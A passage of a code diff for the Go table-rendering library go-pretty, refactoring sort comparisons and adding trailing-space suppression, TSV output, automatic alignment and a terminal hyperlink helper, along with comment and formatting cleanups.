shouldContinue, returnValue := rs.lessColumns(rowI, rowJ, colIdx, col)
|
||||
if !shouldContinue {
|
||||
return returnValue
|
||||
}
|
||||
for _, sortBy := range rs.sortBy {
|
||||
// extract the values/cells from the rows for comparison
|
||||
rowI, rowJ, colIdx := rs.rows[realI], rs.rows[realJ], sortBy.Number-1
|
||||
iVal, jVal := "", ""
|
||||
if colIdx < len(rowI) {
|
||||
iVal = rowI[colIdx]
|
||||
}
|
||||
if colIdx < len(rowJ) {
|
||||
jVal = rowJ[colIdx]
|
||||
}
|
||||
|
||||
// compare and choose whether to continue
|
||||
shouldContinue, returnValue = less(iVal, jVal, sortBy)
|
||||
if !shouldContinue {
|
||||
break
|
||||
}
|
||||
}
|
||||
return false
|
||||
return returnValue
|
||||
}
|
||||
|
||||
func (rs rowsSorter) lessColumns(rowI rowStr, rowJ rowStr, colIdx int, col SortBy) (bool, bool) {
|
||||
if rowI[colIdx] == rowJ[colIdx] {
|
||||
func less(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
if iVal == jVal {
|
||||
return true, false
|
||||
} else if col.Mode == Asc {
|
||||
return false, rowI[colIdx] < rowJ[colIdx]
|
||||
} else if col.Mode == Dsc {
|
||||
return false, rowI[colIdx] > rowJ[colIdx]
|
||||
}
|
||||
|
||||
iVal, iErr := strconv.ParseFloat(rowI[colIdx], 64)
|
||||
jVal, jErr := strconv.ParseFloat(rowJ[colIdx], 64)
|
||||
if iErr == nil && jErr == nil {
|
||||
if col.Mode == AscNumeric {
|
||||
return false, iVal < jVal
|
||||
} else if col.Mode == DscNumeric {
|
||||
return false, jVal < iVal
|
||||
switch sb.Mode {
|
||||
case Asc, Dsc:
|
||||
return lessAlphabetic(iVal, jVal, sb)
|
||||
case AscNumeric, DscNumeric:
|
||||
return lessNumeric(iVal, jVal, sb)
|
||||
default: // AscAlphaNumeric, AscNumericAlpha, DscAlphaNumeric, DscNumericAlpha
|
||||
return lessMixedMode(iVal, jVal, sb)
|
||||
}
|
||||
}
|
||||
|
||||
func lessAlphabetic(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
if sb.IgnoreCase {
|
||||
iLow := strings.ToLower(iVal)
|
||||
jLow := strings.ToLower(jVal)
|
||||
// when two strings are case-insensitive identical, compare them casesensitive.
|
||||
// That makes sure to get a consistent sorting
|
||||
identical := iLow == jLow
|
||||
switch sb.Mode {
|
||||
case Asc, AscAlphaNumeric, AscNumericAlpha:
|
||||
return identical, (identical && iVal < jVal) || iLow < jLow
|
||||
default: // Dsc, DscAlphaNumeric, DscNumericAlpha
|
||||
return identical, (identical && iVal > jVal) || iLow > jLow
|
||||
}
|
||||
}
|
||||
return true, false
|
||||
switch sb.Mode {
|
||||
case Asc, AscAlphaNumeric, AscNumericAlpha:
|
||||
return false, iVal < jVal
|
||||
default: // Dsc, DscAlphaNumeric, DscNumericAlpha
|
||||
return false, iVal > jVal
|
||||
}
|
||||
}
|
||||
|
||||
func lessAlphaNumericI(sb SortBy) (bool, bool) {
|
||||
// i == "abc"; j == 5
|
||||
switch sb.Mode {
|
||||
case AscAlphaNumeric, DscAlphaNumeric:
|
||||
return false, true
|
||||
default: // AscNumericAlpha, DscNumericAlpha
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
|
||||
func lessAlphaNumericJ(sb SortBy) (bool, bool) {
|
||||
// i == 5; j == "abc"
|
||||
switch sb.Mode {
|
||||
case AscAlphaNumeric, DscAlphaNumeric:
|
||||
return false, false
|
||||
default: // AscNumericAlpha, DscNumericAlpha:
|
||||
return false, true
|
||||
}
|
||||
}
|
||||
|
||||
func lessMixedMode(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
iNumVal, iErr := strconv.ParseFloat(iVal, 64)
|
||||
jNumVal, jErr := strconv.ParseFloat(jVal, 64)
|
||||
if iErr != nil && jErr != nil { // both are alphanumeric
|
||||
return lessAlphabetic(iVal, jVal, sb)
|
||||
}
|
||||
if iErr != nil { // iVal is alphabetic, jVal is numeric
|
||||
return lessAlphaNumericI(sb)
|
||||
}
|
||||
if jErr != nil { // iVal is numeric, jVal is alphabetic
|
||||
return lessAlphaNumericJ(sb)
|
||||
}
|
||||
// both values numeric
|
||||
return lessNumericVal(iNumVal, jNumVal, sb)
|
||||
}
|
||||
|
||||
func lessNumeric(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
iNumVal, iErr := strconv.ParseFloat(iVal, 64)
|
||||
jNumVal, jErr := strconv.ParseFloat(jVal, 64)
|
||||
if iErr != nil || jErr != nil {
|
||||
return false, false
|
||||
}
|
||||
|
||||
return lessNumericVal(iNumVal, jNumVal, sb)
|
||||
}
|
||||
|
||||
func lessNumericVal(iVal float64, jVal float64, sb SortBy) (bool, bool) {
|
||||
if iVal == jVal {
|
||||
return true, false
|
||||
}
|
||||
|
||||
switch sb.Mode {
|
||||
case AscNumeric, AscAlphaNumeric, AscNumericAlpha:
|
||||
return false, iVal < jVal
|
||||
default: // DscNumeric, DscAlphaNumeric, DscNumericAlpha
|
||||
return false, iVal > jVal
|
||||
}
|
||||
}
|
||||
+13
-17
@@ -675,14 +675,12 @@ type FormatOptions struct {
|
||||
Row text.Format // (data) row(s) text format
|
||||
}
|
||||
|
||||
var (
|
||||
// FormatOptionsDefault defines sensible formatting options.
|
||||
FormatOptionsDefault = FormatOptions{
|
||||
Footer: text.FormatUpper,
|
||||
Header: text.FormatUpper,
|
||||
Row: text.FormatDefault,
|
||||
}
|
||||
)
|
||||
// FormatOptionsDefault defines sensible formatting options.
|
||||
var FormatOptionsDefault = FormatOptions{
|
||||
Footer: text.FormatUpper,
|
||||
Header: text.FormatUpper,
|
||||
Row: text.FormatDefault,
|
||||
}
|
||||
|
||||
// HTMLOptions defines the global options to control HTML rendering.
|
||||
type HTMLOptions struct {
|
||||
@@ -692,15 +690,13 @@ type HTMLOptions struct {
|
||||
Newline string // string to replace "\n" characters with
|
||||
}
|
||||
|
||||
var (
|
||||
// DefaultHTMLOptions defines sensible HTML rendering defaults.
|
||||
DefaultHTMLOptions = HTMLOptions{
|
||||
CSSClass: DefaultHTMLCSSClass,
|
||||
EmptyColumn: " ",
|
||||
EscapeText: true,
|
||||
Newline: "<br/>",
|
||||
}
|
||||
)
|
||||
// DefaultHTMLOptions defines sensible HTML rendering defaults.
|
||||
var DefaultHTMLOptions = HTMLOptions{
|
||||
CSSClass: DefaultHTMLCSSClass,
|
||||
EmptyColumn: " ",
|
||||
EscapeText: true,
|
||||
Newline: "<br/>",
|
||||
}
|
||||
|
||||
// Options defines the global options that determine how the Table is
|
||||
// rendered.
|
||||
|
||||
+59
-25
@@ -4,6 +4,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"unicode"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
@@ -32,13 +33,13 @@ func (row rowStr) areEqual(colIdx1 int, colIdx2 int) bool {
|
||||
return colIdx1 >= 0 && colIdx2 < len(row) && row[colIdx1] == row[colIdx2]
|
||||
}
|
||||
|
||||
// Table helps print a 2-dimensional array in a human readable pretty-table.
|
||||
// Table helps print a 2-dimensional array in a human-readable pretty-table.
|
||||
type Table struct {
|
||||
// allowedRowLength is the max allowed length for a row (or line of output)
|
||||
allowedRowLength int
|
||||
// enable automatic indexing of the rows and columns like a spreadsheet?
|
||||
autoIndex bool
|
||||
// autoIndexVIndexMaxLength denotes the length in chars for the last rownum
|
||||
// autoIndexVIndexMaxLength denotes the length in chars for the last row
|
||||
autoIndexVIndexMaxLength int
|
||||
// caption stores the text to be rendered just below the table; and doesn't
|
||||
// get used when rendered as a CSV
|
||||
@@ -50,6 +51,8 @@ type Table struct {
|
||||
// columnConfigMap stores the custom-configuration by column
|
||||
// number and is generated before rendering
|
||||
columnConfigMap map[int]ColumnConfig
|
||||
// firstRowOfPage tells if the renderer is on the first row of a page?
|
||||
firstRowOfPage bool
|
||||
// htmlCSSClass stores the HTML CSS Class to use on the <table> node
|
||||
htmlCSSClass string
|
||||
// indexColumn stores the number of the column considered as the "index"
|
||||
@@ -106,6 +109,8 @@ type Table struct {
|
||||
// suppressEmptyColumns hides columns which have no content on all regular
|
||||
// rows
|
||||
suppressEmptyColumns bool
|
||||
// supressTrailingSpaces removes all trailing spaces from the end of the last column
|
||||
supressTrailingSpaces bool
|
||||
// title contains the text to appear above the table
|
||||
title string
|
||||
}
|
||||
@@ -164,14 +169,15 @@ func (t *Table) AppendRows(rows []Row, config ...RowConfig) {
|
||||
// append is a separator, it will not be rendered in addition to the usual table
|
||||
// separator.
|
||||
//
|
||||
//******************************************************************************
|
||||
// ******************************************************************************
|
||||
// Please note the following caveats:
|
||||
// 1. SetPageSize(): this may end up creating consecutive separator rows near
|
||||
// the end of a page or at the beginning of a page
|
||||
// 2. SortBy(): since SortBy could inherently alter the ordering of rows, the
|
||||
// separators may not appear after the row it was originally intended to
|
||||
// follow
|
||||
//******************************************************************************
|
||||
// 1. SetPageSize(): this may end up creating consecutive separator rows near
|
||||
// the end of a page or at the beginning of a page
|
||||
// 2. SortBy(): since SortBy could inherently alter the ordering of rows, the
|
||||
// separators may not appear after the row it was originally intended to
|
||||
// follow
|
||||
//
|
||||
// ******************************************************************************
|
||||
func (t *Table) AppendSeparator() {
|
||||
if t.separators == nil {
|
||||
t.separators = make(map[int]bool)
|
||||
@@ -228,7 +234,7 @@ func (t *Table) SetColumnConfigs(configs []ColumnConfig) {
|
||||
t.columnConfigs = configs
|
||||
}
|
||||
|
||||
// SetHTMLCSSClass sets the the HTML CSS Class to use on the <table> node
|
||||
// SetHTMLCSSClass sets the HTML CSS Class to use on the <table> node
|
||||
// when rendering the Table in HTML format.
|
||||
//
|
||||
// Deprecated: in favor of Style().HTML.CSSClass
|
||||
@@ -296,6 +302,11 @@ func (t *Table) SuppressEmptyColumns() {
|
||||
t.suppressEmptyColumns = true
|
||||
}
|
||||
|
||||
// SuppressTrailingSpaces removes all trailing spaces from the output.
|
||||
func (t *Table) SuppressTrailingSpaces() {
|
||||
t.supressTrailingSpaces = true
|
||||
}
|
||||
|
||||
func (t *Table) getAlign(colIdx int, hint renderHint) text.Align {
|
||||
align := text.AlignDefault
|
||||
if cfg, ok := t.columnConfigMap[colIdx]; ok {
|
||||
@@ -388,7 +399,7 @@ func (t *Table) getBorderRight(hint renderHint) string {
|
||||
|
||||
func (t *Table) getColumnColors(colIdx int, hint renderHint) text.Colors {
|
||||
if hint.isBorderOrSeparator() {
|
||||
if colors := t.getColumnColorsForBorderOrSeparator(colIdx, hint); colors != nil {
|
||||
if colors := t.getColumnColorsForBorderOrSeparator(hint); colors != nil {
|
||||
return colors
|
||||
}
|
||||
}
|
||||
@@ -410,7 +421,7 @@ func (t *Table) getColumnColors(colIdx int, hint renderHint) text.Colors {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Table) getColumnColorsForBorderOrSeparator(colIdx int, hint renderHint) text.Colors {
|
||||
func (t *Table) getColumnColorsForBorderOrSeparator(hint renderHint) text.Colors {
|
||||
if t.style.Options.DoNotColorBordersAndSeparators {
|
||||
return text.Colors{} // not nil to force caller to paint with no colors
|
||||
}
|
||||
@@ -439,12 +450,9 @@ func (t *Table) getColumnSeparator(row rowStr, colIdx int, hint renderHint) stri
|
||||
separator = t.style.Box.BottomSeparator
|
||||
}
|
||||
} else {
|
||||
separator = t.getColumnSeparatorNonBorder(
|
||||
t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint),
|
||||
t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint),
|
||||
colIdx,
|
||||
hint,
|
||||
)
|
||||
sm1 := t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint)
|
||||
sm2 := t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint)
|
||||
separator = t.getColumnSeparatorNonBorder(sm1, sm2, colIdx, hint)
|
||||
}
|
||||
}
|
||||
return separator
|
||||
@@ -681,6 +689,13 @@ func (t *Table) isIndexColumn(colIdx int, hint renderHint) bool {
|
||||
|
||||
func (t *Table) render(out *strings.Builder) string {
|
||||
outStr := out.String()
|
||||
if t.supressTrailingSpaces {
|
||||
var trimmed []string
|
||||
for _, line := range strings.Split(outStr, "\n") {
|
||||
trimmed = append(trimmed, strings.TrimRightFunc(line, unicode.IsSpace))
|
||||
}
|
||||
outStr = strings.Join(trimmed, "\n")
|
||||
}
|
||||
if t.outputMirror != nil && len(outStr) > 0 {
|
||||
_, _ = t.outputMirror.Write([]byte(outStr))
|
||||
_, _ = t.outputMirror.Write([]byte("\n"))
|
||||
@@ -721,7 +736,10 @@ func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint r
|
||||
|
||||
var rowConfig RowConfig
|
||||
if hint.isSeparatorRow {
|
||||
if hint.isHeaderRow && hint.rowNumber == 0 {
|
||||
if hint.isRegularRow() {
|
||||
rowConfig = t.getRowConfig(renderHint{rowNumber: hint.rowNumber + 1})
|
||||
row = t.getRow(hint.rowNumber, renderHint{})
|
||||
} else if hint.isHeaderRow && hint.rowNumber == 0 {
|
||||
rowConfig = t.getRowConfig(renderHint{isHeaderRow: true, rowNumber: 1})
|
||||
row = t.getRow(0, hint)
|
||||
} else if hint.isHeaderRow && hint.isLastRow {
|
||||
@@ -733,9 +751,6 @@ func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint r
|
||||
} else if hint.isFooterRow && hint.rowNumber >= 0 {
|
||||
rowConfig = t.getRowConfig(renderHint{isFooterRow: true, rowNumber: 1})
|
||||
row = t.getRow(hint.rowNumber, renderHint{isFooterRow: true})
|
||||
} else if hint.isRegularRow() {
|
||||
rowConfig = t.getRowConfig(renderHint{rowNumber: hint.rowNumber + 1})
|
||||
row = t.getRow(hint.rowNumber, renderHint{})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -746,24 +761,43 @@ func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint r
|
||||
}
|
||||
|
||||
func (t *Table) shouldMergeCellsVertically(colIdx int, hint renderHint) bool {
|
||||
if t.columnConfigMap[colIdx].AutoMerge && colIdx < t.numColumns {
|
||||
if !t.firstRowOfPage && t.columnConfigMap[colIdx].AutoMerge && colIdx < t.numColumns {
|
||||
if hint.isSeparatorRow {
|
||||
rowPrev := t.getRow(hint.rowNumber-1, hint)
|
||||
rowNext := t.getRow(hint.rowNumber, hint)
|
||||
if colIdx < len(rowPrev) && colIdx < len(rowNext) {
|
||||
return rowPrev[colIdx] == rowNext[colIdx] || "" == rowNext[colIdx]
|
||||
return rowPrev[colIdx] == rowNext[colIdx]
|
||||
}
|
||||
} else {
|
||||
rowPrev := t.getRow(hint.rowNumber-2, hint)
|
||||
rowCurr := t.getRow(hint.rowNumber-1, hint)
|
||||
if colIdx < len(rowPrev) && colIdx < len(rowCurr) {
|
||||
return rowPrev[colIdx] == rowCurr[colIdx] || "" == rowCurr[colIdx]
|
||||
return rowPrev[colIdx] == rowCurr[colIdx]
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (t *Table) shouldSeparateRows(rowIdx int, numRows int) bool {
|
||||
// not asked to separate rows and no manually added separator
|
||||
if !t.style.Options.SeparateRows && !t.separators[rowIdx] {
|
||||
return false
|
||||
}
|
||||
|
||||
pageSize := numRows
|
||||
if t.pageSize > 0 {
|
||||
pageSize = t.pageSize
|
||||
}
|
||||
if rowIdx%pageSize == pageSize-1 { // last row of page
|
||||
return false
|
||||
}
|
||||
if rowIdx == numRows-1 { // last row of table
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (t *Table) wrapRow(row rowStr) (int, rowStr) {
|
||||
colMaxLines := 0
|
||||
rowWrapped := make(rowStr, len(row))
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@ func AutoIndexColumnID(colIdx int) string {
|
||||
type WidthEnforcer func(col string, maxLen int) string
|
||||
|
||||
// widthEnforcerNone returns the input string as is without any modifications.
|
||||
func widthEnforcerNone(col string, maxLen int) string {
|
||||
func widthEnforcerNone(col string, _ int) string {
|
||||
return col
|
||||
}
|
||||
|
||||
|
||||
+3
-1
@@ -4,7 +4,7 @@ import (
|
||||
"io"
|
||||
)
|
||||
|
||||
// Writer declares the interfaces that can be used to setup and render a table.
|
||||
// Writer declares the interfaces that can be used to set up and render a table.
|
||||
type Writer interface {
|
||||
AppendFooter(row Row, configs ...RowConfig)
|
||||
AppendHeader(row Row, configs ...RowConfig)
|
||||
@@ -16,6 +16,7 @@ type Writer interface {
|
||||
RenderCSV() string
|
||||
RenderHTML() string
|
||||
RenderMarkdown() string
|
||||
RenderTSV() string
|
||||
ResetFooters()
|
||||
ResetHeaders()
|
||||
ResetRows()
|
||||
@@ -32,6 +33,7 @@ type Writer interface {
|
||||
SortBy(sortBy []SortBy)
|
||||
Style() *Style
|
||||
SuppressEmptyColumns()
|
||||
SuppressTrailingSpaces()
|
||||
|
||||
// deprecated; in favor of Style().HTML.CSSClass
|
||||
SetHTMLCSSClass(cssClass string)
|
||||
|
||||
+43
-31
@@ -17,32 +17,44 @@ const (
|
||||
AlignCenter // " center "
|
||||
AlignJustify // "justify it"
|
||||
AlignRight // " right"
|
||||
AlignAuto // AlignRight for numbers, AlignLeft for the rest
|
||||
)
|
||||
|
||||
// Apply aligns the text as directed. For ex.:
|
||||
// * AlignDefault.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// * AlignLeft.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// * AlignCenter.Apply("Jon Snow", 12) returns " Jon Snow "
|
||||
// * AlignJustify.Apply("Jon Snow", 12) returns "Jon Snow"
|
||||
// * AlignRight.Apply("Jon Snow", 12) returns " Jon Snow"
|
||||
// - AlignDefault.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// - AlignLeft.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// - AlignCenter.Apply("Jon Snow", 12) returns " Jon Snow "
|
||||
// - AlignJustify.Apply("Jon Snow", 12) returns "Jon Snow"
|
||||
// - AlignRight.Apply("Jon Snow", 12) returns " Jon Snow"
|
||||
// - AlignAuto.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
func (a Align) Apply(text string, maxLength int) string {
|
||||
text = a.trimString(text)
|
||||
aComputed := a
|
||||
if aComputed == AlignAuto {
|
||||
_, err := strconv.ParseFloat(text, 64)
|
||||
if err == nil { // was able to parse a number out of the string
|
||||
aComputed = AlignRight
|
||||
} else {
|
||||
aComputed = AlignLeft
|
||||
}
|
||||
}
|
||||
|
||||
text = aComputed.trimString(text)
|
||||
sLen := utf8.RuneCountInString(text)
|
||||
sLenWoE := RuneWidthWithoutEscSequences(text)
|
||||
numEscChars := sLen - sLenWoE
|
||||
|
||||
// now, align the text
|
||||
switch a {
|
||||
switch aComputed {
|
||||
case AlignDefault, AlignLeft:
|
||||
return fmt.Sprintf("%-"+strconv.Itoa(maxLength+numEscChars)+"s", text)
|
||||
case AlignCenter:
|
||||
if sLenWoE < maxLength {
|
||||
// left pad with half the number of spaces needed before using %text
|
||||
return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s",
|
||||
text+strings.Repeat(" ", int((maxLength-sLenWoE)/2)))
|
||||
text+strings.Repeat(" ", (maxLength-sLenWoE)/2))
|
||||
}
|
||||
case AlignJustify:
|
||||
return a.justifyText(text, sLenWoE, maxLength)
|
||||
return justifyText(text, sLenWoE, maxLength)
|
||||
}
|
||||
return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s", text)
|
||||
}
|
||||
@@ -77,16 +89,34 @@ func (a Align) MarkdownProperty() string {
|
||||
}
|
||||
}
|
||||
|
||||
func (a Align) justifyText(text string, textLength int, maxLength int) string {
|
||||
func (a Align) trimString(text string) string {
|
||||
switch a {
|
||||
case AlignDefault, AlignLeft:
|
||||
if strings.HasSuffix(text, " ") {
|
||||
return strings.TrimRight(text, " ")
|
||||
}
|
||||
case AlignRight:
|
||||
if strings.HasPrefix(text, " ") {
|
||||
return strings.TrimLeft(text, " ")
|
||||
}
|
||||
default:
|
||||
if strings.HasPrefix(text, " ") || strings.HasSuffix(text, " ") {
|
||||
return strings.Trim(text, " ")
|
||||
}
|
||||
}
|
||||
return text
|
||||
}
|
||||
|
||||
func justifyText(text string, textLength int, maxLength int) string {
|
||||
// split the text into individual words
|
||||
wordsUnfiltered := strings.Split(text, " ")
|
||||
words := Filter(wordsUnfiltered, func(item string) bool {
|
||||
words := Filter(strings.Split(text, " "), func(item string) bool {
|
||||
return item != ""
|
||||
})
|
||||
// empty string implies spaces for maxLength
|
||||
// empty string implies result is just spaces for maxLength
|
||||
if len(words) == 0 {
|
||||
return strings.Repeat(" ", maxLength)
|
||||
}
|
||||
|
||||
// get the number of spaces to insert into the text
|
||||
numSpacesNeeded := maxLength - textLength + strings.Count(text, " ")
|
||||
numSpacesNeededBetweenWords := 0
|
||||
@@ -117,21 +147,3 @@ func (a Align) justifyText(text string, textLength int, maxLength int) string {
|
||||
}
|
||||
return outText.String()
|
||||
}
|
||||
|
||||
func (a Align) trimString(text string) string {
|
||||
switch a {
|
||||
case AlignDefault, AlignLeft:
|
||||
if strings.HasSuffix(text, " ") {
|
||||
return strings.TrimRight(text, " ")
|
||||
}
|
||||
case AlignRight:
|
||||
if strings.HasPrefix(text, " ") {
|
||||
return strings.TrimLeft(text, " ")
|
||||
}
|
||||
default:
|
||||
if strings.HasPrefix(text, " ") || strings.HasSuffix(text, " ") {
|
||||
return strings.Trim(text, " ")
|
||||
}
|
||||
}
|
||||
return text
|
||||
}
|
||||
+4
-2
@@ -8,7 +8,8 @@ var ANSICodesSupported = areANSICodesSupported()
|
||||
|
||||
// Escape encodes the string with the ANSI Escape Sequence.
|
||||
// For ex.:
|
||||
// Escape("Ghost", "") == "Ghost"
|
||||
//
|
||||
// Escape("Ghost", "") == "Ghost"
|
||||
// Escape("Ghost", "\x1b[91m") == "\x1b[91mGhost\x1b[0m"
|
||||
// Escape("\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
|
||||
// Escape("Nymeria\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
|
||||
@@ -30,7 +31,8 @@ func Escape(str string, escapeSeq string) string {
|
||||
|
||||
// StripEscape strips all ANSI Escape Sequence from the string.
|
||||
// For ex.:
|
||||
// StripEscape("Ghost") == "Ghost"
|
||||
//
|
||||
// StripEscape("Ghost") == "Ghost"
|
||||
// StripEscape("\x1b[91mGhost\x1b[0m") == "Ghost"
|
||||
// StripEscape("\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "GhostLady"
|
||||
// StripEscape("\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "NymeriaGhostLady"
|
||||
|
||||
+1
-3
@@ -10,9 +10,7 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
enableVTPMutex = sync.Mutex{}
|
||||
)
|
||||
var enableVTPMutex = sync.Mutex{}
|
||||
|
||||
func areANSICodesSupported() bool {
|
||||
enableVTPMutex.Lock()
|
||||
|
||||
+4
-8
@@ -8,9 +8,7 @@ import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
colorsEnabled = areANSICodesSupported()
|
||||
)
|
||||
var colorsEnabled = areANSICodesSupported()
|
||||
|
||||
// DisableColors (forcefully) disables color coding globally.
|
||||
func DisableColors() {
|
||||
@@ -23,7 +21,7 @@ func EnableColors() {
|
||||
}
|
||||
|
||||
// The logic here is inspired from github.com/fatih/color; the following is
|
||||
// the the bare minimum logic required to print Colored to the console.
|
||||
// the bare minimum logic required to print Colored to the console.
|
||||
// The differences:
|
||||
// * This one caches the escape sequences for cases with multiple colors
|
||||
// * This one handles cases where the incoming already has colors in the
|
||||
@@ -123,10 +121,8 @@ func (c Color) Sprintf(format string, a ...interface{}) string {
|
||||
// Example: Colors{FgCyan, BgBlack}
|
||||
type Colors []Color
|
||||
|
||||
var (
|
||||
// colorsSeqMap caches the escape sequence for a set of colors
|
||||
colorsSeqMap = sync.Map{}
|
||||
)
|
||||
// colorsSeqMap caches the escape sequence for a set of colors
|
||||
var colorsSeqMap = sync.Map{}
|
||||
|
||||
// EscapeSeq returns the ANSI escape sequence for the colors set.
|
||||
func (c Colors) EscapeSeq() string {
|
||||
|
||||
+44
-46
@@ -1,48 +1,46 @@
|
||||
package text
|
||||
|
||||
var (
|
||||
// colorCSSClassMap contains the equivalent CSS-class for all colors
|
||||
colorCSSClassMap = map[Color]string{
|
||||
Bold: "bold",
|
||||
Faint: "faint",
|
||||
Italic: "italic",
|
||||
Underline: "underline",
|
||||
BlinkSlow: "blink-slow",
|
||||
BlinkRapid: "blink-rapid",
|
||||
ReverseVideo: "reverse-video",
|
||||
Concealed: "concealed",
|
||||
CrossedOut: "crossed-out",
|
||||
FgBlack: "fg-black",
|
||||
FgRed: "fg-red",
|
||||
FgGreen: "fg-green",
|
||||
FgYellow: "fg-yellow",
|
||||
FgBlue: "fg-blue",
|
||||
FgMagenta: "fg-magenta",
|
||||
FgCyan: "fg-cyan",
|
||||
FgWhite: "fg-white",
|
||||
FgHiBlack: "fg-hi-black",
|
||||
FgHiRed: "fg-hi-red",
|
||||
FgHiGreen: "fg-hi-green",
|
||||
FgHiYellow: "fg-hi-yellow",
|
||||
FgHiBlue: "fg-hi-blue",
|
||||
FgHiMagenta: "fg-hi-magenta",
|
||||
FgHiCyan: "fg-hi-cyan",
|
||||
FgHiWhite: "fg-hi-white",
|
||||
BgBlack: "bg-black",
|
||||
BgRed: "bg-red",
|
||||
BgGreen: "bg-green",
|
||||
BgYellow: "bg-yellow",
|
||||
BgBlue: "bg-blue",
|
||||
BgMagenta: "bg-magenta",
|
||||
BgCyan: "bg-cyan",
|
||||
BgWhite: "bg-white",
|
||||
BgHiBlack: "bg-hi-black",
|
||||
BgHiRed: "bg-hi-red",
|
||||
BgHiGreen: "bg-hi-green",
|
||||
BgHiYellow: "bg-hi-yellow",
|
||||
BgHiBlue: "bg-hi-blue",
|
||||
BgHiMagenta: "bg-hi-magenta",
|
||||
BgHiCyan: "bg-hi-cyan",
|
||||
BgHiWhite: "bg-hi-white",
|
||||
}
|
||||
)
|
||||
// colorCSSClassMap contains the equivalent CSS-class for all colors
|
||||
var colorCSSClassMap = map[Color]string{
|
||||
Bold: "bold",
|
||||
Faint: "faint",
|
||||
Italic: "italic",
|
||||
Underline: "underline",
|
||||
BlinkSlow: "blink-slow",
|
||||
BlinkRapid: "blink-rapid",
|
||||
ReverseVideo: "reverse-video",
|
||||
Concealed: "concealed",
|
||||
CrossedOut: "crossed-out",
|
||||
FgBlack: "fg-black",
|
||||
FgRed: "fg-red",
|
||||
FgGreen: "fg-green",
|
||||
FgYellow: "fg-yellow",
|
||||
FgBlue: "fg-blue",
|
||||
FgMagenta: "fg-magenta",
|
||||
FgCyan: "fg-cyan",
|
||||
FgWhite: "fg-white",
|
||||
FgHiBlack: "fg-hi-black",
|
||||
FgHiRed: "fg-hi-red",
|
||||
FgHiGreen: "fg-hi-green",
|
||||
FgHiYellow: "fg-hi-yellow",
|
||||
FgHiBlue: "fg-hi-blue",
|
||||
FgHiMagenta: "fg-hi-magenta",
|
||||
FgHiCyan: "fg-hi-cyan",
|
||||
FgHiWhite: "fg-hi-white",
|
||||
BgBlack: "bg-black",
|
||||
BgRed: "bg-red",
|
||||
BgGreen: "bg-green",
|
||||
BgYellow: "bg-yellow",
|
||||
BgBlue: "bg-blue",
|
||||
BgMagenta: "bg-magenta",
|
||||
BgCyan: "bg-cyan",
|
||||
BgWhite: "bg-white",
|
||||
BgHiBlack: "bg-hi-black",
|
||||
BgHiRed: "bg-hi-red",
|
||||
BgHiGreen: "bg-hi-green",
|
||||
BgHiYellow: "bg-hi-yellow",
|
||||
BgHiBlue: "bg-hi-blue",
|
||||
BgHiMagenta: "bg-hi-magenta",
|
||||
BgHiCyan: "bg-hi-cyan",
|
||||
BgHiWhite: "bg-hi-white",
|
||||
}
|
||||
-1
@@ -47,5 +47,4 @@ func (e *escSeq) InspectRune(r rune) {
|
||||
}
|
||||
e.content.WriteRune(r)
|
||||
}
|
||||
return
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
package text
|
||||
|
||||
import "fmt"
|
||||
|
||||
func Hyperlink(url, text string) string {
|
||||
if url == "" {
|
||||
return text
|
||||
}
|
||||
if text == "" {
|
||||
return url
|
||||
}
|
||||
// source https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda
|
||||
return fmt.Sprintf("\x1b]8;;%s\x1b\\%s\x1b]8;;\x1b\\", url, text)
|
||||
}
|
||||
+92
-39
@@ -13,11 +13,12 @@ var (
|
||||
)
|
||||
|
||||
// InsertEveryN inserts the rune every N characters in the string. For ex.:
|
||||
// InsertEveryN("Ghost", '-', 1) == "G-h-o-s-t"
|
||||
// InsertEveryN("Ghost", '-', 2) == "Gh-os-t"
|
||||
// InsertEveryN("Ghost", '-', 3) == "Gho-st"
|
||||
// InsertEveryN("Ghost", '-', 4) == "Ghos-t"
|
||||
// InsertEveryN("Ghost", '-', 5) == "Ghost"
|
||||
//
|
||||
// InsertEveryN("Ghost", '-', 1) == "G-h-o-s-t"
|
||||
// InsertEveryN("Ghost", '-', 2) == "Gh-os-t"
|
||||
// InsertEveryN("Ghost", '-', 3) == "Gho-st"
|
||||
// InsertEveryN("Ghost", '-', 4) == "Ghos-t"
|
||||
// InsertEveryN("Ghost", '-', 5) == "Ghost"
|
